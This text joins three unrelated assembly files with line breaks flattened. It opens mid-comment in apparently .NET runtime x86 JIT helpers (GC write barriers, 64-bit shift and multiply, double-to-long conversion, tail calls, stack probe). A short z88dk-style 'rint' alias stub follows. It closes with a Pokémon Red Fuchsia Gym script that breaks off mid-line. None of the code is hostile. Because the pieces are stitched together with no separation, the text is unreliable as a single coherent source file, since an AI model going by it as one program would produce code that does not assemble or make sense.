coupled with AdjustContextForJITHelpers, if you change ; anything here, you might need to change AdjustContextForJITHelpers as well ByRefWriteBarrierHelper MACRO ALIGN 4 PUBLIC _JIT_ByRefWriteBarrier@0 _JIT_ByRefWriteBarrier@0 PROC ;;test for dest in range mov ecx, [esi] cmp edi, g_lowest_address jb ByRefWriteBarrier_NotInHeap cmp edi, g_highest_address jae ByRefWriteBarrier_NotInHeap ifndef WRITE_BARRIER_CHECK ;;write barrier mov [edi],ecx endif ifdef WRITE_BARRIER_CHECK ; Test dest here so if it is bad AV would happen before we change register/stack ; status. This makes job of AdjustContextForJITHelpers easier. cmp [edi], 0 ;; ALSO update the shadow GC heap if that is enabled ; use edx for address in GC Shadow, push edx ;if g_GCShadow is 0, don't do the update cmp g_GCShadow, 0 je ByRefWriteBarrier_NoShadow mov edx, edi sub edx, g_lowest_address ; U/V jb ByRefWriteBarrier_NoShadow add edx, [g_GCShadow] cmp edx, [g_GCShadowEnd] ja ByRefWriteBarrier_NoShadow ; TODO: In Orcas timeframe if we move to P4+ only on X86 we should enable ; mfence barriers on either side of these two writes to make sure that ; they stay as close together as possible ; edi contains address in GC ; edx contains address in ShadowGC ; ecx is the value to assign ;; When we're writing to the shadow GC heap we want to be careful to minimize ;; the risk of a race that can occur here where the GC and ShadowGC don't match mov DWORD PTR [edi], ecx mov DWORD PTR [edx], ecx ;; We need a scratch register to verify the shadow heap. We also need to ;; construct a memory barrier so that the write to the shadow heap happens ;; before the read from the GC heap. We can do both by using SUB/XCHG ;; rather than PUSH. ;; ;; TODO: Should be changed to a push if the mfence described above is added. ;; sub esp, 4 xchg [esp], eax ;; As part of our race avoidance (see above) we will now check whether the values ;; in the GC and ShadowGC match. There is a possibility that we're wrong here but ;; being overaggressive means we might mask a case where someone updates GC refs ;; without going to a write barrier, but by its nature it will be indeterminant ;; and we will find real bugs whereas the current implementation is indeterminant ;; but only leads to investigations that find that this code is fundamentally flawed mov eax, [edi] cmp [edx], eax je ByRefWriteBarrier_CleanupShadowCheck mov [edx], INVALIDGCVALUE ByRefWriteBarrier_CleanupShadowCheck: pop eax jmp ByRefWriteBarrier_ShadowCheckEnd ByRefWriteBarrier_NoShadow: ; If we come here then we haven't written the value to the GC and need to. mov DWORD PTR [edi], ecx ByRefWriteBarrier_ShadowCheckEnd: pop edx endif ;;test for *src in ephemeral segement cmp ecx, g_ephemeral_low jb ByRefWriteBarrier_NotInEphemeral cmp ecx, g_ephemeral_high jae ByRefWriteBarrier_NotInEphemeral mov ecx, edi add esi,4 add edi,4 shr ecx, 10 add ecx, [g_card_table] cmp byte ptr [ecx], 0FFh jne ByRefWriteBarrier_UpdateCardTable ret ByRefWriteBarrier_UpdateCardTable: mov byte ptr [ecx], 0FFh ret ByRefWriteBarrier_NotInHeap: ; If it wasn't in the heap then we haven't updated the dst in memory yet mov [edi],ecx ByRefWriteBarrier_NotInEphemeral: ; If it is in the GC Heap but isn't in the ephemeral range we've already ; updated the Heap with the Object*. add esi,4 add edi,4 ret _JIT_ByRefWriteBarrier@0 ENDP ENDM ;******************************************************************************* ; Write barrier wrappers with fcall calling convention ; UniversalWriteBarrierHelper MACRO name ALIGN 4 PUBLIC @JIT_&name&@8 @JIT_&name&@8 PROC mov eax,edx mov edx,ecx jmp _JIT_&name&EAX@0 @JIT_&name&@8 ENDP ENDM ; WriteBarrierStart and WriteBarrierEnd are used to determine bounds of ; WriteBarrier functions so can determine if got AV in them. ; PUBLIC _JIT_WriteBarrierGroup@0 _JIT_WriteBarrierGroup@0 PROC ret _JIT_WriteBarrierGroup@0 ENDP ifdef FEATURE_USE_ASM_GC_WRITE_BARRIERS ; Only define these if we're using the ASM GC write barriers; if this flag is not defined, ; we'll use C++ versions of these write barriers. UniversalWriteBarrierHelper <CheckedWriteBarrier> UniversalWriteBarrierHelper <WriteBarrier> endif WriteBarrierHelper <EAX> WriteBarrierHelper <EBX> WriteBarrierHelper <ECX> WriteBarrierHelper <ESI> WriteBarrierHelper <EDI> WriteBarrierHelper <EBP> ByRefWriteBarrierHelper ; This is the first function outside the "keep together range". Used by BBT scripts. PUBLIC _JIT_WriteBarrierGroup_End@0 _JIT_WriteBarrierGroup_End@0 PROC ret _JIT_WriteBarrierGroup_End@0 ENDP ;*********************************************************************/ ;llshl - long shift left ; ;Purpose: ; Does a Long Shift Left (signed and unsigned are identical) ; Shifts a long left any number of bits. ; ; NOTE: This routine has been adapted from the Microsoft CRTs. ; ;Entry: ; EDX:EAX - long value to be shifted ; ECX - number of bits to shift by ; ;Exit: ; EDX:EAX - shifted value ; ALIGN 16 PUBLIC JIT_LLsh JIT_LLsh PROC ; Reduce shift amount mod 64 and ecx, 63 ; Handle shifts of between bits 0 and 31 cmp ecx, 32 jae short LLshMORE32 shld edx,eax,cl shl eax,cl ret ; Handle shifts of between bits 32 and 63 LLshMORE32: ; The x86 shift instructions only use the lower 5 bits. mov edx,eax xor eax,eax shl edx,cl ret JIT_LLsh ENDP ;*********************************************************************/ ;LRsh - long shift right ; ;Purpose: ; Does a signed Long Shift Right ; Shifts a long right any number of bits. ; ; NOTE: This routine has been adapted from the Microsoft CRTs. ; ;Entry: ; EDX:EAX - long value to be shifted ; ECX - number of bits to shift by ; ;Exit: ; EDX:EAX - shifted value ; ALIGN 16 PUBLIC JIT_LRsh JIT_LRsh PROC ; Reduce shift amount mod 64 and ecx, 63 ; Handle shifts of between bits 0 and 31 cmp ecx, 32 jae short LRshMORE32 shrd eax,edx,cl sar edx,cl ret ; Handle shifts of between bits 32 and 63 LRshMORE32: ; The x86 shift instructions only use the lower 5 bits. mov eax,edx sar edx, 31 sar eax,cl ret JIT_LRsh ENDP ;*********************************************************************/ ; LRsz: ;Purpose: ; Does a unsigned Long Shift Right ; Shifts a long right any number of bits. ; ; NOTE: This routine has been adapted from the Microsoft CRTs. ; ;Entry: ; EDX:EAX - long value to be shifted ; ECX - number of bits to shift by ; ;Exit: ; EDX:EAX - shifted value ; ALIGN 16 PUBLIC JIT_LRsz JIT_LRsz PROC ; Reduce shift amount mod 64 and ecx, 63 ; Handle shifts of between bits 0 and 31 cmp ecx, 32 jae short LRszMORE32 shrd eax,edx,cl shr edx,cl ret ; Handle shifts of between bits 32 and 63 LRszMORE32: ; The x86 shift instructions only use the lower 5 bits. mov eax,edx xor edx,edx shr eax,cl ret JIT_LRsz ENDP ;*********************************************************************/ ; LMul: ;Purpose: ; Does a long multiply (same for signed/unsigned) ; ; NOTE: This routine has been adapted from the Microsoft CRTs. ; ;Entry: ; Parameters are passed on the stack: ; 1st pushed: multiplier (QWORD) ; 2nd pushed: multiplicand (QWORD) ; ;Exit: ; EDX:EAX - product of multiplier and multiplicand ; ALIGN 16 PUBLIC JIT_LMul JIT_LMul PROC ; AHI, BHI : upper 32 bits of A and B ; ALO, BLO : lower 32 bits of A and B ; ; ALO * BLO ; ALO * BHI ; + BLO * AHI ; --------------------- mov eax,[esp + 8] ; AHI mov ecx,[esp + 16] ; BHI or ecx,eax ;test for both hiwords zero. mov ecx,[esp + 12] ; BLO jnz LMul_hard ;both are zero, just mult ALO and BLO mov eax,[esp + 4] mul ecx ret 16 ; callee restores the stack LMul_hard: push ebx mul ecx ;eax has AHI, ecx has BLO, so AHI * BLO mov ebx,eax ;save result mov eax,[esp + 8] ; ALO mul dword ptr [esp + 20] ;ALO * BHI add ebx,eax ;ebx = ((ALO * BHI) + (AHI * BLO)) mov eax,[esp + 8] ; ALO ;ecx = BLO mul ecx ;so edx:eax = ALO*BLO add edx,ebx ;now edx has all the LO*HI stuff pop ebx ret 16 ; callee restores the stack JIT_LMul ENDP ;*********************************************************************/ ; JIT_Dbl2LngOvf ;Purpose: ; converts a double to a long truncating toward zero (C semantics) ; with check for overflow ; ; uses stdcall calling conventions ; PUBLIC JIT_Dbl2LngOvf JIT_Dbl2LngOvf PROC fnclex fld qword ptr [esp+4] push ecx push ecx fstp qword ptr [esp] call JIT_Dbl2Lng mov ecx,eax fnstsw ax test ax,01h jnz Dbl2LngOvf_throw mov eax,ecx ret 8 Dbl2LngOvf_throw: mov ECX, CORINFO_OverflowException_ASM call JIT_InternalThrowFromHelper ret 8 JIT_Dbl2LngOvf ENDP ;*********************************************************************/ ; JIT_Dbl2Lng ;Purpose: ; converts a double to a long truncating toward zero (C semantics) ; ; uses stdcall calling conventions ; ; note that changing the rounding mode is very expensive. This ; routine basiclly does the truncation sematics without changing ; the rounding mode, resulting in a win. ; PUBLIC JIT_Dbl2Lng JIT_Dbl2Lng PROC fld qword ptr[ESP+4] ; fetch arg lea ecx,[esp-8] sub esp,16 ; allocate frame and ecx,-8 ; align pointer on boundary of 8 fld st(0) ; duplciate top of stack fistp qword ptr[ecx] ; leave arg on stack, also save in temp fild qword ptr[ecx] ; arg, round(arg) now on stack mov edx,[ecx+4] ; high dword of integer mov eax,[ecx] ; low dword of integer test eax,eax je integer_QNaN_or_zero arg_is_not_integer_QNaN: fsubp st(1),st ; TOS=d-round(d), ; { st(1)=st(1)-st & pop ST } test edx,edx ; what's sign of integer jns positive ; number is negative ; dead cycle ; dead cycle fstp dword ptr[ecx] ; result of subtraction mov ecx,[ecx] ; dword of difference(single precision) add esp,16 xor ecx,80000000h add ecx,7fffffffh ; if difference>0 then increment integer adc eax,0 ; inc eax (add CARRY flag) adc edx,0 ; propagate carry flag to upper bits ret 8 positive: fstp dword ptr[ecx] ;17-18 ; result of subtraction mov ecx,[ecx] ; dword of difference (single precision) add esp,16 add ecx,7fffffffh ; if difference<0 then decrement integer sbb eax,0 ; dec eax (subtract CARRY flag) sbb edx,0 ; propagate carry flag to upper bits ret 8 integer_QNaN_or_zero: test edx,7fffffffh jnz arg_is_not_integer_QNaN fstp st(0) ;; pop round(arg) fstp st(0) ;; arg add esp,16 ret 8 JIT_Dbl2Lng ENDP ;*********************************************************************/ ; JIT_Dbl2LngP4x87 ;Purpose: ; converts a double to a long truncating toward zero (C semantics) ; ; uses stdcall calling conventions ; ; This code is faster on a P4 than the Dbl2Lng code above, but is ; slower on a PIII. Hence we choose this code when on a P4 or above. ; PUBLIC JIT_Dbl2LngP4x87 JIT_Dbl2LngP4x87 PROC arg1 equ <[esp+0Ch]> sub esp, 8 ; get some local space fld qword ptr arg1 ; fetch arg fnstcw word ptr arg1 ; store FPCW movzx eax, word ptr arg1 ; zero extend - wide or ah, 0Ch ; turn on OE and DE flags mov dword ptr [esp], eax ; store new FPCW bits fldcw word ptr [esp] ; reload FPCW with new bits fistp qword ptr [esp] ; convert mov eax, dword ptr [esp] ; reload FP result mov edx, dword ptr [esp+4] ; fldcw word ptr arg1 ; reload original FPCW value add esp, 8 ; restore stack ret 8 JIT_Dbl2LngP4x87 ENDP ;*********************************************************************/ ; JIT_Dbl2LngSSE3 ;Purpose: ; converts a double to a long truncating toward zero (C semantics) ; ; uses stdcall calling conventions ; ; This code is faster than the above P4 x87 code for Intel processors ; equal or later than Core2 and Atom that have SSE3 support ; .686P .XMM PUBLIC JIT_Dbl2LngSSE3 JIT_Dbl2LngSSE3 PROC arg1 equ <[esp+0Ch]> sub esp, 8 ; get some local space fld qword ptr arg1 ; fetch arg fisttp qword ptr [esp] ; convert mov eax, dword ptr [esp] ; reload FP result mov edx, dword ptr [esp+4] add esp, 8 ; restore stack ret 8 JIT_Dbl2LngSSE3 ENDP .586 ;*********************************************************************/ ; JIT_Dbl2IntSSE2 ;Purpose: ; converts a double to a long truncating toward zero (C semantics) ; ; uses stdcall calling conventions ; ; This code is even faster than the P4 x87 code for Dbl2LongP4x87, ; but only returns a 32 bit value (only good for int). ; .686P .XMM PUBLIC JIT_Dbl2IntSSE2 JIT_Dbl2IntSSE2 PROC $movsd xmm0, [esp+4] cvttsd2si eax, xmm0 ret 8 JIT_Dbl2IntSSE2 ENDP .586 ;*********************************************************************/ ; This is the small write barrier thunk we use when we know the ; ephemeral generation is higher in memory than older generations. ; The 0x0F0F0F0F values are bashed by the two functions above. ; This the generic version - wherever the code says ECX, ; the specific register is patched later into a copy ; Note: do not replace ECX by EAX - there is a smaller encoding for ; the compares just for EAX, which won't work for other registers. ; ; READ THIS!!!!!! ; it is imperative that the addresses of of the values that we overwrite ; (card table, ephemeral region ranges, etc) are naturally aligned since ; there are codepaths that will overwrite these values while the EE is running. ; PUBLIC JIT_WriteBarrierReg_PreGrow JIT_WriteBarrierReg_PreGrow PROC mov DWORD PTR [edx], ecx cmp ecx, 0F0F0F0F0h jb NoWriteBarrierPre shr edx, 10 nop ; padding for alignment of constant cmp byte ptr [edx+0F0F0F0F0h], 0FFh jne WriteBarrierPre NoWriteBarrierPre: ret nop ; padding for alignment of constant nop ; padding for alignment of constant WriteBarrierPre: mov byte ptr [edx+0F0F0F0F0h], 0FFh ret JIT_WriteBarrierReg_PreGrow ENDP ;*********************************************************************/ ; This is the larger write barrier thunk we use when we know that older ; generations may be higher in memory than the ephemeral generation ; The 0x0F0F0F0F values are bashed by the two functions above. ; This the generic version - wherever the code says ECX, ; the specific register is patched later into a copy ; Note: do not replace ECX by EAX - there is a smaller encoding for ; the compares just for EAX, which won't work for other registers. ; NOTE: we need this aligned for our validation to work properly ALIGN 4 PUBLIC JIT_WriteBarrierReg_PostGrow JIT_WriteBarrierReg_PostGrow PROC mov DWORD PTR [edx], ecx cmp ecx, 0F0F0F0F0h jb NoWriteBarrierPost cmp ecx, 0F0F0F0F0h jae NoWriteBarrierPost shr edx, 10 nop ; padding for alignment of constant cmp byte ptr [edx+0F0F0F0F0h], 0FFh jne WriteBarrierPost NoWriteBarrierPost: ret nop ; padding for alignment of constant nop ; padding for alignment of constant WriteBarrierPost: mov byte ptr [edx+0F0F0F0F0h], 0FFh ret JIT_WriteBarrierReg_PostGrow ENDP ;*********************************************************************/ ; ; a fake virtual stub dispatch register indirect callsite $nop3 call dword ptr [eax] PUBLIC JIT_TailCallReturnFromVSD JIT_TailCallReturnFromVSD: ifdef _DEBUG nop ; blessed callsite endif call VSDHelperLabel ; keep call-ret count balanced. VSDHelperLabel: ; Stack at this point : ; ... ; m_ReturnAddress ; m_regs ; m_CallerAddress ; m_pThread ; vtbl ; GSCookie ; &VSDHelperLabel OffsetOfTailCallFrame = 8 ; ebx = pThread ifdef _DEBUG mov esi, _s_gsCookie ; GetProcessGSCookie() cmp dword ptr [esp+OffsetOfTailCallFrame-SIZEOF_GSCookie], esi je TailCallFrameGSCookieIsValid call @JIT_FailFast@0 TailCallFrameGSCookieIsValid: endif ; remove the padding frame from the chain mov esi, dword ptr [esp+OffsetOfTailCallFrame+4] ; esi = TailCallFrame::m_Next mov dword ptr [ebx + Thread_m_pFrame], esi ; skip the frame add esp, 20 ; &VSDHelperLabel, GSCookie, vtbl, m_Next, m_CallerAddress pop edi ; restore callee saved registers pop esi pop ebx pop ebp ret ; return to m_ReturnAddress ;------------------------------------------------------------------------------ ; PUBLIC JIT_TailCall JIT_TailCall PROC ; the stack layout at this point is: ; ; ebp+8+4*nOldStackArgs <- end of argument destination ; ... ... ; ebp+8+ old args (size is nOldStackArgs) ; ... ... ; ebp+8 <- start of argument destination ; ebp+4 ret addr ; ebp+0 saved ebp ; ebp-c saved ebx, esi, edi (if have callee saved regs = 1) ; ; other stuff (local vars) in the jitted callers' frame ; ; esp+20+4*nNewStackArgs <- end of argument source ; ... ... ; esp+20+ new args (size is nNewStackArgs) to be passed to the target of the tail-call ; ... ... ; esp+20 <- start of argument source ; esp+16 nOldStackArgs ; esp+12 nNewStackArgs ; esp+8 flags (1 = have callee saved regs, 2 = virtual stub dispatch) ; esp+4 target addr ; esp+0 retaddr ; ; If you change this function, make sure you update code:TailCallStubManager as well. RetAddr equ 0 TargetAddr equ 4 nNewStackArgs equ 12 nOldStackArgs equ 16 NewArgs equ 20 ; extra space is incremented as we push things on the stack along the way ExtraSpace = 0 push 0 ; Thread* ; save ArgumentRegisters push ecx push edx ; eax = GetThread(). Trashes edx INLINE_GETTHREAD eax, edx mov [esp + 8], eax ExtraSpace = 12 ; pThread, ecx, edx ifdef FEATURE_HIJACK ; Make sure that the EE does have the return address patched. So we can move it around. test dword ptr [eax+Thread_m_State], TS_Hijacked_ASM jz NoHijack ; JIT_TailCallHelper(Thread *) push eax call JIT_TailCallHelper ; this is __stdcall NoHijack: endif mov edx, dword ptr [esp+ExtraSpace+JIT_TailCall_StackOffsetToFlags] ; edx = flags mov eax, dword ptr [esp+ExtraSpace+nOldStackArgs] ; eax = nOldStackArgs mov ecx, dword ptr [esp+ExtraSpace+nNewStackArgs] ; ecx = nNewStackArgs ; restore callee saved registers ; <TODO>@TODO : esp based - doesnt work with localloc</TODO> test edx, 1 jz NoCalleeSaveRegisters mov edi, dword ptr [ebp-4] ; restore edi mov esi, dword ptr [ebp-8] ; restore esi mov ebx, dword ptr [ebp-12] ; restore ebx NoCalleeSaveRegisters: push dword ptr [ebp+4] ; save the original return address for later push edi push esi ExtraSpace = 24 ; pThread, ecx, edx, orig retaddr, edi, esi CallersEsi = 0 CallersEdi = 4 OrigRetAddr = 8 pThread = 20 lea edi, [ebp+8+4*eax] ; edi = the end of argument destination lea esi, [esp+ExtraSpace+NewArgs+4*ecx] ; esi = the end of argument source mov ebp, dword ptr [ebp] ; restore ebp (do not use ebp as scratch register to get a good stack trace in debugger) test edx, 2 jnz VSDTailCall ; copy the arguments to the final destination test ecx, ecx jz ArgumentsCopied ArgumentCopyLoop: ; At this point, this is the value of the registers : ; edi = end of argument dest ; esi = end of argument source ; ecx = nNewStackArgs mov eax, dword ptr [esi-4] sub edi, 4 sub esi, 4 mov dword ptr [edi], eax dec ecx jnz ArgumentCopyLoop ArgumentsCopied: ; edi = the start of argument destination mov eax, dword ptr [esp+4+4] ; return address mov ecx, dword ptr [esp+ExtraSpace+TargetAddr] ; target address mov dword ptr [edi-4], eax ; return address mov dword ptr [edi-8], ecx ; target address lea eax, [edi-8] ; new value for esp pop esi pop edi pop ecx ; skip original return address pop edx pop ecx mov esp, eax PUBLIC JIT_TailCallLeave ; add a label here so that TailCallStubManager can access it JIT_TailCallLeave: retn ; Will branch to targetAddr. This matches the ; "call" done by JITted code, keeping the ; call-ret count balanced. ;---------------------------------------------------------------------- VSDTailCall: ;---------------------------------------------------------------------- ; For the Virtual Stub Dispatch, we create a fake callsite to fool ; the callsite probes. In order to create the call site, we need to insert TailCallFrame ; if we do not have one already. ; ; ecx = nNewStackArgs ; esi = the end of argument source ; edi = the end of argument destination ; ; The stub has pushed the following onto the stack at this point : ; pThread, ecx, edx, orig retaddr, edi, esi cmp dword ptr [esp+OrigRetAddr], JIT_TailCallReturnFromVSD jz VSDTailCallFrameInserted_DoSlideUpArgs ; There is an exiting TailCallFrame that can be reused ; try to allocate space for the frame / check whether there is enough space ; If there is sufficient space, we will setup the frame and then slide ; the arguments up the stack. Else, we first need to slide the arguments ; down the stack to make space for the TailCallFrame sub edi, (SIZEOF_GSCookie + SIZEOF_TailCallFrame) cmp edi, esi jae VSDSpaceForFrameChecked ; There is not sufficient space to wedge in the TailCallFrame without ; overwriting the new arguments. ; We need to allocate the extra space on the stack, ; and slide down the new arguments mov eax, esi sub eax, edi sub esp, eax mov eax, ecx ; to subtract the size of arguments mov edx, ecx ; for counter neg eax ; copy down the arguments to the final destination, need to copy all temporary storage as well add edx, (ExtraSpace+NewArgs)/4 lea esi, [esi+4*eax-(ExtraSpace+NewArgs)] lea edi, [edi+4*eax-(ExtraSpace+NewArgs)] VSDAllocFrameCopyLoop: mov eax, dword ptr [esi] mov dword ptr [edi], eax add esi, 4 add edi, 4 dec edx jnz VSDAllocFrameCopyLoop ; the argument source and destination are same now mov esi, edi VSDSpaceForFrameChecked: ; At this point, we have enough space on the stack for the TailCallFrame, ; and we may already have slided down the arguments mov eax, _s_gsCookie ; GetProcessGSCookie() mov dword ptr [edi], eax ; set GSCookie mov eax, _g_TailCallFrameVptr ; vptr mov edx, dword ptr [esp+OrigRetAddr] ; orig return address mov dword ptr [edi+SIZEOF_GSCookie], eax ; TailCallFrame::vptr mov dword ptr [edi+SIZEOF_GSCookie+28], edx ; TailCallFrame::m_ReturnAddress mov eax, dword ptr [esp+CallersEdi] ; restored edi mov edx, dword ptr [esp+CallersEsi] ; restored esi mov dword ptr [edi+SIZEOF_GSCookie+12], eax ; TailCallFrame::m_regs::edi mov dword ptr [edi+SIZEOF_GSCookie+16], edx ; TailCallFrame::m_regs::esi mov dword ptr [edi+SIZEOF_GSCookie+20], ebx ; TailCallFrame::m_regs::ebx mov dword ptr [edi+SIZEOF_GSCookie+24], ebp ; TailCallFrame::m_regs::ebp mov ebx, dword ptr [esp+pThread] ; ebx = pThread mov eax, dword ptr [ebx+Thread_m_pFrame] lea edx, [edi+SIZEOF_GSCookie] mov dword ptr [edi+SIZEOF_GSCookie+4], eax ; TailCallFrame::m_pNext mov dword ptr [ebx+Thread_m_pFrame], edx ; hook the new frame into the chain ; setup ebp chain lea ebp, [edi+SIZEOF_GSCookie+24] ; TailCallFrame::m_regs::ebp ; Do not copy arguments again if they are in place already ; Otherwise, we will need to slide the new arguments up the stack cmp esi, edi jne VSDTailCallFrameInserted_DoSlideUpArgs ; At this point, we must have already previously slided down the new arguments, ; or the TailCallFrame is a perfect fit ; set the caller address mov edx, dword ptr [esp+ExtraSpace+RetAddr] ; caller address mov dword ptr [edi+SIZEOF_GSCookie+8], edx ; TailCallFrame::m_CallerAddress ; adjust edi as it would by copying neg ecx lea edi, [edi+4*ecx] jmp VSDArgumentsCopied VSDTailCallFrameInserted_DoSlideUpArgs: ; set the caller address mov edx, dword ptr [esp+ExtraSpace+RetAddr] ; caller address mov dword ptr [edi+SIZEOF_GSCookie+8], edx ; TailCallFrame::m_CallerAddress ; copy the arguments to the final destination test ecx, ecx jz VSDArgumentsCopied VSDArgumentCopyLoop: mov eax, dword ptr [esi-4] sub edi, 4 sub esi, 4 mov dword ptr [edi], eax dec ecx jnz VSDArgumentCopyLoop VSDArgumentsCopied: ; edi = the start of argument destination mov ecx, dword ptr [esp+ExtraSpace+TargetAddr] ; target address mov dword ptr [edi-4], JIT_TailCallReturnFromVSD ; return address mov dword ptr [edi-12], ecx ; address of indirection cell mov ecx, [ecx] mov dword ptr [edi-8], ecx ; target address ; skip original return address and saved esi, edi add esp, 12 pop edx pop ecx lea esp, [edi-12] ; new value for esp pop eax PUBLIC JIT_TailCallVSDLeave ; add a label here so that TailCallStubManager can access it JIT_TailCallVSDLeave: retn ; Will branch to targetAddr. This matches the ; "call" done by JITted code, keeping the ; call-ret count balanced. JIT_TailCall ENDP ;------------------------------------------------------------------------------ ; HCIMPL2_VV(float, JIT_FltRem, float dividend, float divisor) @JIT_FltRem@8 proc public fld dword ptr [esp+4] ; divisor fld dword ptr [esp+8] ; dividend fremloop: fprem fstsw ax fwait sahf jp fremloop ; Continue while the FPU status bit C2 is set fxch ; swap, so divisor is on top and result is in st(1) fstp ST(0) ; Pop the divisor from the FP stack retn 8 ; Return value is in st(0) @JIT_FltRem@8 endp ; HCIMPL2_VV(float, JIT_DblRem, float dividend, float divisor) @JIT_DblRem@16 proc public fld qword ptr [esp+4] ; divisor fld qword ptr [esp+12] ; dividend fremloopd: fprem fstsw ax fwait sahf jp fremloopd ; Continue while the FPU status bit C2 is set fxch ; swap, so divisor is on top and result is in st(1) fstp ST(0) ; Pop the divisor from the FP stack retn 16 ; Return value is in st(0) @JIT_DblRem@16 endp ;------------------------------------------------------------------------------ ; PatchedCodeStart and PatchedCodeEnd are used to determine bounds of patched code. ; _JIT_PatchedCodeStart@0 proc public ret _JIT_PatchedCodeStart@0 endp ALIGN 4 ;********************************************************************** ; Write barriers generated at runtime PUBLIC _JIT_PatchedWriteBarrierGroup@0 _JIT_PatchedWriteBarrierGroup@0 PROC ret _JIT_PatchedWriteBarrierGroup@0 ENDP PatchedWriteBarrierHelper MACRO rg ALIGN 8 PUBLIC _JIT_WriteBarrier&rg&@0 _JIT_WriteBarrier&rg&@0 PROC ; Just allocate space that will be filled in at runtime db (48) DUP (0CCh) _JIT_WriteBarrier&rg&@0 ENDP ENDM PatchedWriteBarrierHelper <EAX> PatchedWriteBarrierHelper <EBX> PatchedWriteBarrierHelper <ECX> PatchedWriteBarrierHelper <ESI> PatchedWriteBarrierHelper <EDI> PatchedWriteBarrierHelper <EBP> PUBLIC _JIT_PatchedWriteBarrierGroup_End@0 _JIT_PatchedWriteBarrierGroup_End@0 PROC ret _JIT_PatchedWriteBarrierGroup_End@0 ENDP _JIT_PatchedCodeLast@0 proc public ret _JIT_PatchedCodeLast@0 endp ; This is the first function outside the "keep together range". Used by BBT scripts. _JIT_PatchedCodeEnd@0 proc public ret _JIT_PatchedCodeEnd@0 endp ; Note that the debugger skips this entirely when doing SetIP, ; since COMPlusCheckForAbort should always return 0. Excep.cpp:LeaveCatch ; asserts that to be true. If this ends up doing more work, then the ; debugger may need additional support. ; void __stdcall JIT_EndCatch(); JIT_EndCatch PROC stdcall public ; make temp storage for return address, and push the address of that ; as the last arg to COMPlusEndCatch mov ecx, [esp] push ecx; push esp; ; push the rest of COMPlusEndCatch's args, right-to-left push esi push edi push ebx push ebp call _COMPlusEndCatch@20 ; returns old esp value in eax, stores jump address ; now eax = new esp, [esp] = new eip pop edx ; edx = new eip mov esp, eax ; esp = new esp jmp edx ; eip = new eip JIT_EndCatch ENDP ; The following helper will access ("probe") a word on each page of the stack ; starting with the page right beneath esp down to the one pointed to by eax. ; The procedure is needed to make sure that the "guard" page is pushed down below the allocated stack frame. ; The call to the helper will be emitted by JIT in the function prolog when large (larger than 0x3000 bytes) stack frame is required. ; ; NOTE: this helper will modify a value of esp and must establish the frame pointer. PAGE_SIZE equ 1000h _JIT_StackProbe@0 PROC public ; On entry: ; eax - the lowest address of the stack frame being allocated (i.e. [InitialSp - FrameSize]) ; ; NOTE: this helper will probe at least one page below the one pointed by esp. push ebp mov ebp, esp and esp, -PAGE_SIZE ; esp points to the **lowest address** on the last probed page ; This is done to make the loop end condition simpler. ProbeLoop: test [esp - 4], eax ; esp points to the lowest address on the **last probed** page sub esp, PAGE_SIZE ; esp points to the lowest address of the **next page** to probe cmp esp, eax jg ProbeLoop ; if esp > eax, then we need to probe at least one more page. mov esp, ebp pop ebp ret _JIT_StackProbe@0 ENDP PUBLIC _JIT_StackProbe_End@0 _JIT_StackProbe_End@0 PROC ret _JIT_StackProbe_End@0 ENDP end
SECTION code_clib SECTION code_fp_math48 PUBLIC _rint EXTERN cm48_sdccix_rint defc _rint = cm48_sdccix_rint
FuchsiaGym_Script: call .LoadNames call EnableAutoTextBoxDrawing ld hl, FuchsiaGymTrainerHeaders ld de, FuchsiaGym_ScriptPointers ld a, [wFuchsiaGymCurScript] call ExecuteCurMapScriptInTable ld [wFuchsiaGymCurScript], a ret .LoadNames: ld hl, wCurrentMapScriptFlags bit 6, [hl] res 6, [hl] ret z ld hl, .CityName ld de, .LeaderName call LoadGymLeaderAndCityName ret .CityName: db "FUCHSIA CITY@" .LeaderName: db "KOGA@" FuchsiaGymResetScripts: xor a ld [wJoyIgnore], a ld [wFuchsiaGymCurScript], a ld [wCurMapScript], a ret FuchsiaGym_ScriptPointers: dw CheckFightingMapTrainers dw DisplayEnemyTrainerTextAndStartBattle dw EndTrainerBattle dw FuchsiaGymKogaPostBattle FuchsiaGymKogaPostBattle: ld a, [wIsInBattle] cp $ff jp z, FuchsiaGymResetScripts ld a, $f0 ld [wJoyIgnore], a ; fallthrough FuchsiaGymReceiveTM06: ld a, $9 ldh [hSpriteIndexOrTextID], a call DisplayTextID SetEvent EVENT_BEAT_KOGA lb bc, TM_TOXIC, 1 call GiveItem jr nc, .BagFull ld a, $a ldh [hSpriteIndexOrTextID], a call DisplayTextID SetEvent EVENT_GOT_TM06 jr .gymVictory .BagFull ld a, $b ldh [hSpriteIndexOrTextID], a call DisplayTextID .gymVictory ld hl, wObtainedBadges set BIT_SOULBADGE, [hl] ld hl, wBeatGymFlags set BIT_SOULBADGE, [hl] ; deactivate gym trainers SetEventRange EVENT_BEAT_FUCHSIA_GYM_TRAINER_0, EVENT_BEAT_FUCHSIA_GYM_TRAINER_5 jp FuchsiaGymResetScripts FuchsiaGym_TextPointers: dw KogaText dw FuchsiaGymTrainerText1 dw FuchsiaGymTrainerText2 dw FuchsiaGymTrainerText3 dw FuchsiaGymTrainerText4 dw FuchsiaGymTrainerText5 dw FuchsiaGymTrainerText6 dw FuchsiaGymGuideText dw KogaSoulBadgeInfoText dw ReceivedTM06Text dw TM06NoRoomText FuchsiaGymTrainerHeaders: def_trainers 2 FuchsiaGymTrainerHeader0: trainer EVENT_BEAT_FUCHSIA_GYM_TRAINER_0, 2, FuchsiaGymBattleText1, FuchsiaGymEndBattleText1, FuchsiaGymAfterBattleText1 FuchsiaGymTrainerHeader1: trainer EVENT_BEAT_FUCHSIA_GYM_TRAINER_1, 2, FuchsiaGymBattleText2, FuchsiaGymEndBattleText2, FuchsiaGymAfterBattleText2 FuchsiaGymTrainerHeader2: trainer EVENT_BEAT_FUCHSIA_GYM_TRAINER_2, 4, FuchsiaGymBattleText3, FuchsiaGymEndBattleText3, FuchsiaGymAfterBattleText3 FuchsiaGymTrainerHeader3: trainer EVENT_BEAT_FUCHSIA_GYM_TRAINER_3, 2, FuchsiaGymBattleText4, FuchsiaGymEndBattleText4, FuchsiaGymAfterBattleText4 FuchsiaGymTrainerHeader4: trainer EVENT_BEAT_FUCHSIA_GYM_TRAINER_4, 2, FuchsiaGymBattleText5, FuchsiaGymEndBattleText5, FuchsiaGymAfterBattleText5 FuchsiaGymTrainerHeader5: trainer EVENT_BEAT_FUCHSIA_GYM_TRAINER_5, 2, FuchsiaGymBattleText6, FuchsiaGymEndBattleText6, FuchsiaGymAfterBattleText6 db -1 ; end KogaText: text_asm CheckEvent 